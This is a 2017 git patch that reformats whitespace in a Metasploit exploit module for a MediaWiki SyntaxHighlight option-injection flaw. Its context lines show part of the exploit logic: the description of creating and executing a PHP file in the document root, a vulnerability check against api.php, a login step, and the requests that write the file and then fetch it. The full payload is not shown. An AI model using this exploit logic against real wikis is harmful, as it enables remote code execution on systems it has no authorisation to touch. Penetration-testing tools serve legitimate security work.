From f9e7715adbf4816b57feff39a3a279c377d6f575 Mon Sep 17 00:00:00 2001 From: Yorick Koster Date: Sat, 29 Apr 2017 16:07:45 +0200 Subject: [PATCH] Fixed formatting --- .../multi/http/mediawiki_syntaxhighlight.rb | 14 +++++++------- 1 file changed, 7 insertions(+), 7 deletions(-) diff --git a/modules/exploits/multi/http/mediawiki_syntaxhighlight.rb b/modules/exploits/multi/http/mediawiki_syntaxhighlight.rb index 83be6bc51c..346657b9ee 100644 --- a/modules/exploits/multi/http/mediawiki_syntaxhighlight.rb +++ b/modules/exploits/multi/http/mediawiki_syntaxhighlight.rb @@ -11,7 +11,7 @@ class MetasploitModule < Msf::Exploit::Remote super(update_info(info, 'Name' => 'MediaWiki SyntaxHighlight extension option injection vulnerability', 'Description' => %q{ - This module exploits an option injection vulnerability in the SyntaxHighlight + This module exploits an option injection vulnerability in the SyntaxHighlight extension of MediaWiki. It tries to create & execute a PHP file in the document root. The USERNAME & PASSWORD options are only needed if the Wiki is configured as private. }, @@ -43,7 +43,7 @@ class MetasploitModule < Msf::Exploit::Remote OptBool.new('CLEANUP', [ false, "Delete created PHP file?", true ]) ]) end - + def check res = send_request_cgi({ 'method' => 'POST', @@ -56,7 +56,7 @@ class MetasploitModule < Msf::Exploit::Remote 'text' => '' } }) - + if(res && res.headers.key?('MediaWiki-API-Error')) if(res.headers['MediaWiki-API-Error'] == 'internal_api_error_MWException') return Exploit::CheckCode::Appears @@ -68,7 +68,7 @@ class MetasploitModule < Msf::Exploit::Remote Exploit::CheckCode::Safe end - + # use deprecated interface def login print_status("Trying to login....") @@ -124,7 +124,7 @@ class MetasploitModule < Msf::Exploit::Remote if datastore['USERNAME'] && datastore['USERNAME'].length > 0 login end - + check_code = check unless check_code == Exploit::CheckCode::Detected || check_code == Exploit::CheckCode::Appears fail_with(Failure::NoTarget, "#{peer}") @@ -137,7 +137,7 @@ class MetasploitModule < Msf::Exploit::Remote cleanup = "" end print_status("Local PHP file: #{cssfile}") - + res = send_request_cgi({ 'method' => 'POST', 'uri' => normalize_uri(target_uri.path, 'api.php'), @@ -154,4 +154,4 @@ class MetasploitModule < Msf::Exploit::Remote send_request_cgi({'uri' => normalize_uri(target_uri.path, cssfile)}) end end -end \ No newline at end of file +end